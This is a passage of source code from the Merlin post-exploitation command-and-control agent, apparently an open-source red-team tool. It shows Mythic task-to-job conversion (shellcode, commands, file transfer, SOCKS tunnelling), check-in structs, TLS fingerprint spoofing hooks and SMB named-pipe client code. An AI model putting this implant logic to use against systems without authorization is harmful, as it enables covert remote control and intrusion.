err)\n\t\t\t}\n\t\t}\n\tcase messages.KEYEXCHANGE:\n\t\tif m.Payload != nil {\n\t\t\tmsg := m.Payload.(rsa2.Request)\n\t\t\tmsg.Padding = m.Padding\n\t\t\tdata, err = json.Marshal(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.RSARequest structrong to JSON:\\n%s\", err)\n\t\t\t}\n\t\t}\n\tcase DownloadInit:\n\t\treturnMessage := PostResponse{\n\t\t\tAction:  RESPONSE,\n\t\t\tPadding: m.Padding,\n\t\t}\n\t\treturnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse))\n\t\tdata, err = json.Marshal(returnMessage)\n\t\tif err != nil {\n\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.FileDownloadInitial structure to JSON: %s\", err)\n\t\t}\n\tcase DownloadSend:\n\t\treturnMessage := PostResponse{\n\t\t\tAction:  RESPONSE,\n\t\t\tPadding: m.Padding,\n\t\t}\n\t\treturnMessage.Responses = append(returnMessage.Responses, m.Payload.(ClientTaskResponse))\n\t\tdata, err = json.Marshal(returnMessage)\n\t\tif err != nil {\n\t\t\treturn []byte{}, fmt.Errorf(\"there was an error marshalling the mythic.FileDownload structure to JSON: %s\", err)\n\t\t}\n\tdefault:\n\t\treturn []byte{}, fmt.Errorf(\"unhandled message type: %d for convertToMythicMessage()\", m.Type)\n\t}\n\n\t// Transforms\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/mythic.Construct(): Transformers: %+v\", client.transformers))\n\tfor i := len(client.transformers); i > 0; i-- {\n\t\tif client.transformers[i-1].String() == \"mythic\" {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, []byte(client.MythicID.String()))\n\t\t} else {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, client.secret)\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"%d call with transform %s - Constructed data(%d) %T: %X\\n\", i, client.transformers[i-1], len(data), data, data))\n\t\tif err != nil {\n\t\t\treturn []byte{}, fmt.Errorf(\"there was an error transforming the Mythic task:\\n%s\", err)\n\t\t}\n\t}\n\n\treturn data, nil\n}\n\n// convertSocksToJobs takes in Mythic socks messages and translates them into Merlin jobs\nfunc (client *Client) convertSocksToJobs(socks []Socks) (base messages.Base, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Entering into clients.mythic.convertSocksToJobs() with %+v\", socks))\n\t//fmt.Printf(\"Entering into clients.mythic.convertSocksToJobs() with %d socks messages: %+v\\n\", len(socks), socks)\n\n\tbase.Type = messages.JOBS\n\tbase.ID = client.AgentID\n\n\tvar returnJobs []jobs.Job\n\n\tfor _, sock := range socks {\n\t\tjob := jobs.Job{\n\t\t\tAgentID: client.AgentID,\n\t\t\tType:    jobs.SOCKS,\n\t\t}\n\t\tpayload := jobs.Socks{\n\t\t\tClose: sock.Exit,\n\t\t}\n\n\t\t// Translate Mythic's server ID to UUID\n\t\tid, ok := socksConnection.Load(sock.ServerId)\n\t\tif !ok {\n\t\t\t// This is for a new, first time, SOCKS connection\n\t\t\tid = uuid.New()\n\t\t\tsocksConnection.Store(sock.ServerId, id)\n\t\t\tmythicSocksConnection.Store(id, sock.ServerId)\n\t\t\tsocksCounter.Store(id, 0)\n\t\t\t// Spoof SOCKS handshake with Merlin Agent\n\t\t\tpayload.ID = id.(uuid.UUID)\n\t\t\tpayload.Data = []byte{0x05, 0x01, 0x00}\n\t\t\tpayload.Index = 0\n\t\t\tjob.Payload = payload\n\t\t\treturnJobs = append(returnJobs, job)\n\t\t}\n\t\tpayload.ID = id.(uuid.UUID)\n\n\t\t// Base64 decode the data\n\t\tpayload.Data, err = base64.StdEncoding.DecodeString(sock.Data)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error base64 decoding the SOCKS message data: %s\", err)\n\t\t\treturn\n\t\t}\n\t\t//fmt.Printf(\"\\tID: %d, Data length: %d\\n\", sock.ServerId, len(payload.Data))\n\t\t// Load the data packet counter\n\t\ti, ok := socksCounter.Load(id)\n\t\tif !ok {\n\t\t\terr = fmt.Errorf(\"there was an error getting the SOCKS counter for the UUID: %s\", id)\n\t\t\treturn\n\t\t}\n\n\t\tpayload.Index = i.(int) + 1\n\t\tjob.Payload = payload\n\t\tsocksCounter.Store(id, i.(int)+1)\n\t\treturnJobs = append(returnJobs, job)\n\t}\n\tbase.Payload = returnJobs\n\treturn\n}\n\n// convertTasksToJobs is a function that converts Mythic tasks into a Merlin jobs structure\nfunc (client *Client) convertTasksToJobs(tasks []Task) (messages.Base, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.mythic.convertTasksToJobs()\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Input task:\\n%+v\", tasks))\n\n\t// Merlin messages.Base structure\n\tbase := messages.Base{\n\t\tID:   client.AgentID,\n\t\tType: messages.JOBS,\n\t}\n\n\tvar returnJobs []jobs.Job\n\n\tfor _, task := range tasks {\n\t\tvar mythicJob Job\n\t\tvar job jobs.Job\n\t\terr := json.Unmarshal([]byte(task.Params), &mythicJob)\n\t\tif err != nil {\n\t\t\treturn messages.Base{}, fmt.Errorf(\"there was an error unmarshalling the Mythic task parameters to a mythic.Job:\\n%s\", err)\n\t\t}\n\t\tjob.AgentID = client.AgentID\n\t\tjob.ID = task.ID\n\t\tjob.Token = uuid.MustParse(task.ID)\n\t\tjob.Type = jobs.IntToType(mythicJob.Type)\n\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Switching on mythic.Job type %d\", mythicJob.Type))\n\n\t\tswitch job.Type {\n\t\tcase jobs.CMD, jobs.CONTROL, jobs.NATIVE:\n\t\t\tvar payload jobs.Command\n\t\t\terr = json.Unmarshal([]byte(mythicJob.Payload), &payload)\n\t\t\tif err != nil {\n\t\t\t\treturn base, fmt.Errorf(\"there was an error unmarshalling the Mythic job payload to a jobs.CMD structure:\\n%s\", err)\n\t\t\t}\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"unmarshalled jobs.Command structure:\\n%+v\", payload))\n\t\t\tjob.Payload = payload\n\t\t\treturnJobs = append(returnJobs, job)\n\t\tcase jobs.FILETRANSFER:\n\t\t\tvar payload jobs.FileTransfer\n\t\t\terr = json.Unmarshal([]byte(mythicJob.Payload), &payload)\n\t\t\tif err != nil {\n\t\t\t\treturn base, fmt.Errorf(\"there was an error unmarshalling the Mythic job payload to a jobs.FileTransfer structure:\\n%s\", err)\n\t\t\t}\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"unmarshalled jobs.FileTransfer structure:\\n%+v\", payload))\n\t\t\tjob.Payload = payload\n\t\t\treturnJobs = append(returnJobs, job)\n\t\tcase jobs.MODULE:\n\t\t\tvar payload jobs.Command\n\t\t\terr = json.Unmarshal([]byte(mythicJob.Payload), &payload)\n\t\t\tif err != nil {\n\t\t\t\treturn base, fmt.Errorf(\"there was an error unmarshalling the Mythic job payload to a jobs.Command structure:\\n%s\", err)\n\t\t\t}\n\t\t\tjob.Payload = payload\n\t\t\treturnJobs = append(returnJobs, job)\n\t\tcase jobs.SHELLCODE:\n\t\t\tvar payload jobs.Shellcode\n\t\t\terr = json.Unmarshal([]byte(mythicJob.Payload), &payload)\n\t\t\tif err != nil {\n\t\t\t\treturn base, fmt.Errorf(\"there was an error unmarshalling the Mythic job payload to a jobs.Shellcode structure:\\n%s\", err)\n\t\t\t}\n\t\t\tjob.Payload = payload\n\t\t\treturnJobs = append(returnJobs, job)\n\t\tcase 0:\n\t\t\t// case 0 means that a job type was not added to the task from the Mythic server\n\t\t\t// Commonly seen with SOCKS messages\n\t\t\tif strings.ToLower(task.Command) == \"socks\" {\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Received Mythic SOCKS task: %+v\", task))\n\t\t\t\tvar params SocksParams\n\t\t\t\terr = json.Unmarshal([]byte(task.Params), &params)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn base, fmt.Errorf(\"there was an error unmarshalling the Mythic SOCKS Params payload: %s\", err)\n\t\t\t\t}\n\t\t\t\tswitch params.Action {\n\t\t\t\tcase \"start\", \"stop\":\n\t\t\t\t\t// Send message back to Mythic that SOCKS has been started/stopped\n\t\t\t\t\tjob.Type = jobs.RESULT\n\t\t\t\t\tjob.Payload = jobs.Results{}\n\t\t\t\t\treturnJobs = append(returnJobs, job)\n\t\t\t\tdefault:\n\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"Unknown socks command: %s\", params.Action))\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"Unhandled Mythic task %+v\", task))\n\t\t\t}\n\t\tdefault:\n\t\t\treturn base, fmt.Errorf(\"unknown mythic.job type: %d\", mythicJob.Type)\n\t\t}\n\t}\n\n\t// Add the list of jobs to the message base\n\tbase.Payload = returnJobs\n\n\treturn base, nil\n}\n\n// getProxy returns a proxy function for the passed in protocol and proxy URL if any\n// Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in\nfunc getProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.http.getProxy()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s\", protocol, proxyURL))\n\n\t// The HTTP/2 protocol does not support proxies\n\tif strings.ToLower(protocol) != \"http\" && strings.ToLower(protocol) != \"https\" {\n\t\tif proxyURL != \"\" {\n\t\t\treturn nil, fmt.Errorf(\"clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol\", protocol)\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)\", protocol))\n\t\treturn nil, nil\n\t}\n\n\tvar proxy func(*http.Request) (*url.URL, error)\n\n\tif proxyURL != \"\" {\n\t\trawURL, errProxy := url.Parse(proxyURL)\n\t\tif errProxy != nil {\n\t\t\treturn nil, fmt.Errorf(\"there was an error parsing the proxy string:\\n%s\", errProxy.Error())\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Parsed Proxy URL: %+v\", rawURL))\n\t\tproxy = http.ProxyURL(rawURL)\n\t\treturn proxy, nil\n\t}\n\n\t// Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables\n\tvar p string\n\tswitch strings.ToLower(protocol) {\n\tcase \"http\":\n\t\tp = os.Getenv(\"HTTP_PROXY\")\n\tcase \"https\":\n\t\tp = os.Getenv(\"HTTPS_PROXY\")\n\t}\n\n\tif p != \"\" {\n\t\tcli.Message(cli.NOTE,\n\t\t\tfmt.Sprintf(\"Using proxy from environment variables for protocol %s: %s\", protocol, p))\n\t\tproxy = http.ProxyFromEnvironment\n\t}\n\treturn proxy, nil\n}\n\n// selectIP identifies a single IP address to associate with the agent from all interfaces on the host.\n// The goal is to remove link-local and loop-back addresses.\nfunc selectIP(ips []string) string {\n\tfor _, ip := range ips {\n\t\tif !strings.HasPrefix(ip, \"127.\") && !strings.HasPrefix(ip, \"::1/128\") && !strings.HasPrefix(ip, \"fe80::\") {\n\t\t\treturn ip\n\t\t}\n\t}\n\treturn ips[0]\n}\n"
  },
  {
    "path": "clients/mythic/structs.go",
    "content": "//go:build mythic\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage mythic\n\nimport (\n\t\"github.com/google/uuid\"\n)\n\nconst (\n\t// CHECKIN is Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin\n\tCHECKIN = \"checkin\"\n\t// TASKING is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking\n\tTASKING = \"get_tasking\"\n\t// RESPONSE is used to send a message back to the Mythic server https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response\n\tRESPONSE = \"post_response\"\n\t// StatusError is used to when there is an error\n\tStatusError = \"error\"\n\t// RSAStaging is used to setup and complete the RSA key exchange https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/initial-checkin\n\tRSAStaging = \"staging_rsa\"\n\t// UPLOAD is a Mythic action https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload\n\tUPLOAD = \"upload\"\n\n\t// Custom\n\n\t// DownloadInit is used as the first download message from the Mythic server\n\tDownloadInit = 300\n\t// DownloadSend is used after the init message to send the file\n\tDownloadSend = 301\n)\n\n// CheckIn is the initial structure sent to Mythic\ntype CheckIn struct {\n\tAction        string `json:\"action\"`                    // \"action\": \"checkin\", // required\n\tIP            string `json:\"ip\"`                        // \"ip\": \"127.0.0.1\", // internal ip address - required\n\tOS            string `json:\"os\"`                        // \"os\": \"macOS 10.15\", // os version - required\n\tUser          string `json:\"user\"`                      // \"user\": \"its-a-feature\", // username of current user - required\n\tHost          string `json:\"host\"`                      // \"host\": \"spooky.local\", // hostname of the computer - required\n\tPID           int    `json:\"pid\"`                       // \"pid\": 4444, // pid of the current process - required\n\tPayloadID     string `json:\"uuid\"`                      // \"uuid\": \"payload uuid\", //uuid of the payload - required\n\tArch          string `json:\"architecture,omitempty\"`    //  \"architecture\": \"x64\", // platform arch - optional\n\tDomain        string `json:\"domain,omitempty\"`          // \"domain\": \"test\", // domain of the host - optional\n\tIntegrity     int    `json:\"integrity_level,omitempty\"` // \"integrity_level\": 3, // integrity level of the process - optional\n\tExternalIP    string `json:\"external_ip,omitempty\"`     // \"external_ip\": \"8.8.8.8\", // external ip if known - optional\n\tEncryptionKey string `json:\"encryption_key,omitempty\"`  // \"encryption_key\": \"base64 of key\", // encryption key - optional\n\tDecryptionKey string `json:\"decryption_key,omitempty\"`  //  \"decryption_key\": \"base64 of key\", // decryption key - optional\n\tProcess       string `json:\"process_name,omitempty\"`    // \"process\": \"process name\", // name of the process - optional\n\tPadding       string `json:\"padding,omitempty\"`\n}\n\n// Response is the message structure returned from the Mythic server\ntype Response struct {\n\tAction string `json:\"action\"`\n\tID     string `json:\"id\"`\n\tStatus string `json:\"status\"`\n}\n\n// Error message returned from Mythic HTTP profile\ntype Error struct {\n\tStatus string `json:\"status\"`\n\tError  string `json:\"error\"`\n}\n\n// Tasking is used by the agent to request a specified number of tasks from the server\ntype Tasking struct {\n\tAction  string `json:\"action\"`\n\tSize    int    `json:\"tasking_size\"`\n\tPadding string `json:\"padding,omitempty\"`\n}\n\n// Tasks holds a list of tasks for the agent to process\ntype Tasks struct {\n\tAction string  `json:\"action\"`\n\tTasks  []Task  `json:\"tasks\"`\n\tSOCKS  []Socks `json:\"socks,omitempty\"`\n}\n\n// Task contains the task identifier, command, and parameters for the agent to execute\ntype Task struct {\n\tID      string  `json:\"id\"`\n\tCommand string  `json:\"command\"`\n\tParams  string  `json:\"parameters\"`\n\tTime    float64 `json:\"timestamp\"`\n}\n\n// Job structure\ntype Job struct {\n\tType    int    `json:\"type\"`\n\tPayload string `json:\"payload\"`\n}\n\n// PostResponse is the structure used to send a list of messages from the agent to the server\ntype PostResponse struct {\n\tAction    string               `json:\"action\"`\n\tResponses []ClientTaskResponse `json:\"responses\"` // TODO This needs to be an interface so it can handle both ClientTaskResponse and FileDownloadInitialMessage\n\tPadding   string               `json:\"padding,omitempty\"`\n\tSOCKS     []Socks              `json:\"socks,omitempty\"`\n}\n\n// ClientTaskResponse is the structure used to return the results of a task to the Mythic server\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response\ntype ClientTaskResponse struct {\n\tID        uuid.UUID     `json:\"task_id\"`\n\tDownload  *FileDownload `json:\"download,omitempty\"`\n\tOutput    string        `json:\"user_output,omitempty\"`\n\tStatus    string        `json:\"status,omitempty\"`\n\tCompleted bool          `json:\"completed,omitempty\"`\n}\n\n// ServerTaskResponse is the message Mythic returns to the client after it sent a ClientTaskResponse message\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-post_response\ntype ServerTaskResponse struct {\n\tID     string `json:\"task_id\"`\n\tStatus string `json:\"status\"`\n\tError  string `json:\"error\"`\n\tFileID string `json:\"file_id,omitempty\"`\n}\n\n// ServerPostResponse structure holds a list of ServerTaskResponse structure\ntype ServerPostResponse struct {\n\tAction    string               `json:\"action\"`\n\tResponses []ServerTaskResponse `json:\"responses\"`\n\tSOCKS     []Socks              `json:\"socks,omitempty\"`\n}\n\n// PostResponseFile is the structure used to send a list of messages from the agent to the server\ntype PostResponseFile struct {\n\tAction    string         `json:\"action\"`\n\tResponses []FileDownload `json:\"responses\"`\n\tPadding   string         `json:\"padding,omitempty\"`\n}\n\n// FileDownloadInitialMessage contains the information for the initial step of the file download process\ntype FileDownloadInitialMessage struct {\n\tNumChunks    int    `json:\"total_chunks\"`\n\tTaskID       string `json:\"task_id\"`\n\tFullPath     string `json:\"full_path\"`\n\tIsScreenshot bool   `json:\"is_screenshot\"`\n}\n\n// PostResponseDownload is used to send a response to the Mythic server\ntype PostResponseDownload struct {\n\tAction    string         `json:\"action\"`\n\tResponses []FileDownload `json:\"responses\"`\n\tPadding   string         `json:\"padding,omitempty\"`\n}\n\n// FileDownload sends a chunk of Base64 encoded data from the agent to the server\ntype FileDownload struct {\n\tFileID       string `json:\"file_id,omitempty\"` // UUID from FileDownloadResponse\n\tNumChunks    int    `json:\"total_chunks,omitempty\"`\n\tChunk        int    `json:\"chunk_num,omitempty\"`\n\tData         string `json:\"chunk_data,omitempty\"` // Base64 encoded data\n\tFullPath     string `json:\"full_path,omitempty\"`\n\tIsScreenshot bool   `json:\"is_screenshot,omitempty\"`\n}\n\n// DownloadResponse is the server's response to a FileDownload message\ntype DownloadResponse struct {\n\tStatus string `json:\"status\"`\n\tTaskID string `json:\"task_id\"`\n}\n\n// UploadRequest is message\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload\ntype UploadRequest struct {\n\tAction string `json:\"action\"`\n\tTaskID string `json:\"task_id\"`    // the associated task that caused the agent to pull down this file\n\tFileID string `json:\"file_id\"`    // the file specified to pull down to the target\n\tPath   string `json:\"full_path\"`  // ull path to uploaded file on Agent's host\n\tSize   int    `json:\"chunk_size\"` // bytes of file per chunk\n\tChunk  int    `json:\"chunk_num\"`  // which chunk are we currently pulling down\n}\n\n// UploadResponse is the message sent from the server to an agent\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action-upload\ntype UploadResponse struct {\n\tPath   string `json:\"remote_path\"`\n\tFileID string `json:\"file_id\"`\n}\n\n// Socks is used to send SOCKS data between the SOCKS client and the agent and is an array on the\n// https://docs.mythic-c2.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/socks#what-do-socks-messages-look-like\ntype Socks struct {\n\tServerId int32  `json:\"server_id\"`\n\tData     string `json:\"data\"`\n\tExit     bool   `json:\"exit\"`\n}\n\n// SocksParams is used as an embedded structure for the Task structure when the Command field is \"socks\"\ntype SocksParams struct {\n\tAction string `json:\"action\"`\n\tPort   int    `json:\"port\"`\n}\n"
  },
  {
    "path": "clients/repository.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage clients\n\ntype Repository interface {\n\t// Add stores the Client structure\n\tAdd(client Client)\n\t// Get returns a copy of the current Client structure\n\tGet() Client\n\t// SetJA3 reconfigures the client's TLS fingerprint to match the provided JA3 string\n\tSetJA3(ja3 string) error\n\t// SetListener changes the client's upstream listener ID, a UUID, to the value provided\n\tSetListener(listener string) error\n\t// SetPadding changes the maximum amount of random padding added to each outgoing message\n\tSetPadding(padding string) error\n\t// SetParrot reconfigures the client's HTTP configuration to match the provided browser\n\tSetParrot(parrot string) error\n}\n"
  },
  {
    "path": "clients/smb/smb.go",
    "content": "//go:build (!smb && (http || http1 || http2 || http3 || mythic || winhttp || tcp || udp)) || (!smb && !windows)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications\npackage smb\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"runtime\"\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(Config) (*Client, error) {\n\tif runtime.GOOS == \"windows\" {\n\t\treturn nil, fmt.Errorf(\"clients/smb.New(): SMB client not compiled into this program\")\n\t}\n\treturn nil, fmt.Errorf(\"clients/smb.New(): this function is not supported by the %s operating system\", runtime.GOOS)\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(messages.Base) (err error) {\n\treturn fmt.Errorf(\"clients/smb.Authenticate(): SMB client not compiled into this program\")\n}\n\n// Get is a generic function used to retrieve the value of a Client's field\nfunc (client *Client) Get(string) string {\n\treturn fmt.Sprintf(\"clients/smb.Get(): SMB client not compiled into this program\")\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() error {\n\treturn fmt.Errorf(\"clients/smb.Initial(): SMB client not compiled into this program\")\n}\n\n// Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/smb.LIsten(): SMB client not compiled into this program\")\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.\n// This function DOES not wait or listen for response messages.\nfunc (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/smb.Send(): SMB client not compiled into this program\")\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) error {\n\treturn fmt.Errorf(\"clients/smb.Set(): SMB client not compiled into this program\")\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\treturn false\n}\n"
  },
  {
    "path": "clients/smb/smb_windows.go",
    "content": "//go:build smb || !(http || http1 || http2 || http3 || mythic || winhttp || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package smb contains a configurable client used for Windows-based SMB peer-to-peer Agent communications\npackage smb\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\t\"io\"\n\t\"math\"\n\t\"math/rand\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\t\"unsafe\"\n\n\t// X Package\n\t\"golang.org/x/sys/windows\"\n\n\t// 3rd Party\n\t\"github.com/Ne0nd0g/npipe\"\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\ttransformer \"github.com/Ne0nd0g/merlin-agent/v2/transformers\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64\"\n\tgob2 \"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor\"\n)\n\nconst (\n\tBIND    = 0\n\tREVERSE = 1\n)\n\nconst (\n\t// MaxSize is the maximum size of an SMB fragment\n\t// The WriteFileEx Windows API function says:\n\t// \"Pipe write operations across a network are limited to 65,535 bytes per write\"\n\t// https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex\n\tMaxSize = 65535\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n\taddress       string                       // address is the SMB named pipe the agent will bind to\n\tagentID       uuid.UUID                    // agentID the Agent's UUID\n\tauthComplete  chan bool                    // authComplete is a channel that is used to block sending messages until the Agent has successfully completed authenticated\n\tauthenticated bool                         // authenticated tracks if the Agent has successfully authenticated\n\tauthenticator authenticators.Authenticator // authenticator the method the Agent will use to authenticate to the server\n\tconnected     chan bool                    // connected is a channel that is used to track if the Agent is connected to a Parent\n\tconnection    net.Conn                     // connection the network socket connection used to handle traffic\n\tlistener      net.Listener                 // listener the network socket connection listening for traffic\n\tlistenerID    uuid.UUID                    // listenerID the UUID of the listener that this Agent is configured to communicate with\n\tpaddingMax    int                          // paddingMax the maximum amount of random padding to apply to every Base message\n\tpsk           string                       // psk the pre-shared key used for encrypting messages until authentication is complete\n\tsecret        []byte                       // secret the key used to encrypt messages\n\tsending       bool                         // sending is a flag that is used to track if the Agent is currently sending a message\n\ttransformers  []transformer.Transformer    // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message\n\tmode          int                          // mode the type of client or communication mode (e.g., BIND or REVERSE)\n\tsync.Mutex                                 // used to lock the Client when changes are being made by one function or routine\n}\n\n// Config is a structure that is used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAddress      []string  // Address the interface and port the agent will bind to\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tAuthPackage  string    // AuthPackage the type of authentication the agent should use when communicating with the server\n\tListenerID   uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with\n\tPadding      string    // Padding the max amount of data that will be randomly selected and appended to every message\n\tPSK          string    // PSK the Pre-Shared Key secret the agent will use to start authentication\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tMode         string    // Mode the type of client or communication mode (e.g., BIND or REVERSE)\n}\n\n// New instantiates and returns a Client that is constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.New(): entering into function with config %+v\", config))\n\n\tclient := Client{}\n\tclient.authComplete = make(chan bool, 1)\n\tclient.connected = make(chan bool, 1)\n\tif config.AgentID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/smb.New(): a nil Agent UUID was 